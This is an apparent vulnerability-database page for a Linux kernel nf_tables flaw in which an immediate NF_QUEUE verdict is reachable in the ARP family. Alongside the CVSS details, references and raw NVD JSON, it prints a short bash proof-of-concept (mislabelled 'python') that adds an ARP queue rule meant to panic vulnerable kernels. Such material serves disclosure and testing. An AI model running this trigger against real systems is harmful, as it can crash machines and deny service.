CVE-2026-43024

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: reject immediate NF_QUEUE verdict nft_queue is always used from userspace nftables to deliver the NF_QUEUE verdict. Immediately emitting an NF_QUEUE verdict is never used by the userspace nft tools, so reject immediate NF_QUEUE verdicts. The arp family does not provide queue support, but such an immediate verdict is still reachable. Globally reject NF_QUEUE immediate verdicts to address this issue.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (CVE-2026-43024修复前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43024: Trigger immediate NF_QUEUE verdict on ARP family
# This script attempts to add a rule that queues ARP packets immediately.
# On vulnerable kernels, this may cause a crash or instability due to lack of queue support in arp.

# Check if nft is installed
if ! command -v nft &> /dev/null; then
    echo "nft command not found. This PoC requires nftables."
    exit 1
fi

echo "[*] Creating ARP table..."
nft add table arp filter 2>/dev/null || echo "Table might exist or permission denied."

echo "[*] Adding chain to ARP table..."
nft add chain arp filter input '{ type filter hook input priority 0 ; }' 2>/dev/null

echo "[*] Adding malicious rule: immediate NF_QUEUE verdict..."
# This rule attempts to use 'queue' which is not supported for immediate verdicts in ARP
nft add rule arp filter input queue num 0

echo "[*] Rule added. If the kernel is vulnerable, it may panic or behave unexpectedly."

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43024
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43024
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43024/
[4] VulDB https://vuldb.com/cve/CVE-2026-43024
[5] https://git.kernel.org/stable/c/17dc5d5a935c771338430cbc156a16a51cfd31e8
[6] https://git.kernel.org/stable/c/2f7f825a548be55420f0f5f716f6c27b9d312d3f
[7] https://git.kernel.org/stable/c/42a47f4b1b7695026ab9bc1bb35d4622b0835c95
[8] https://git.kernel.org/stable/c/4b12a3cc3f075e750cc3c5e693fd25fb400af4a2
[9] https://git.kernel.org/stable/c/68390437a998c3f2c57212b413abef5e6d657d88
[10] https://git.kernel.org/stable/c/da107398cbd4bbdb6bffecb2ce86d5c9384f4cec
[11] https://git.kernel.org/stable/c/f140593901724cfbd16597c3a4fcb24a58ae44b0
[12] https://git.kernel.org/stable/c/f710691be163ae6b39e4bcab9e5be32d329f035b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43024", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:46.760", "lastModified": "2026-05-08T18:15:22.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: reject immediate NF_QUEUE verdict\n\nnft_queue is always used from userspace nftables to deliver the NF_QUEUE\nverdict. Immediately emitting an NF_QUEUE verdict is never used by the\nuserspace nft tools, so reject immediate NF_QUEUE verdicts.\n\nThe arp family does not provide queue support, but such an immediate\nverdict is still reachable. Globally reject NF_QUEUE immediate verdicts\nto address this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.307", "versionEndExcluding": "4.20", "matchCriteriaId": "3CB2AA1D-5185-48E6-B23F-5143D8FFA151"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.269", "versionEndExcluding": "5.5", "matchCriteriaId": "281DF6F1-190B-460C-A081-C034D898FE00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.210", "versionEndExcluding": "5.10.253", "matchCriteriaId": "B800E39F-3BFA-41AF-88A8-DD8CA114AC58"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.149", "versionEndExcluding": "5.15.203", "matchCriteriaId": "75F9B5B3-F2B6-45C1-97DB-D7FD14CFFD66"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.76", "versionEndExcluding": "6.1.168", "matchCriteriaId": "A190073C-C501-4804-8402-885078FEC45C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.15", "versionEndExcluding": "6.6.134", "matchCriteriaId": "00614FA0-1082-4048-AC7E-B07B3C4890E3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7.3", "versionEndExcluding": "6.8", "matchCriteriaId": "20F5F360-294D-4182-AC38-2F032FA57B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8.1", "versionEndExcluding": "6.12.81", "matchCriteriaId": "CA77F368-D7F1-40BA-9D47-7A0978AC867B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:-:*:*:*:*:*:*", "matchCriteriaId": "41E47F32-BA80-4333-96FD-4D25082B0FDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc2:*:*:*:*:*:*", "matchCriteriaId": "056BD938-0A27-4569-B391-30578B309EE3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc3:*:*:*:*:*:*", "matchCriteriaId": "F02056A5-B362-4370-9FF8-6F0BD384D520"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc4:*:*:*:*:*:*", "matchCriteriaId": "62075ACE-B2A0-4B16-829D-B3DA5AE5CC41"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc5:*:*:*:*:*:*", "matchCriteriaId": "A780F817-2A77-4130-A9B7-5C25606314E3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc6:*:*:*:*:*:*", "matchCriteriaId": "AEB9199B-AB8F-4877-8964-E2BA95B5F15C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:rc7:*:*:*:*:*:*", "matchCriteriaId": "C9B8A5CE-6D20-4C36-AC01-ACA4B70003A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"v ... 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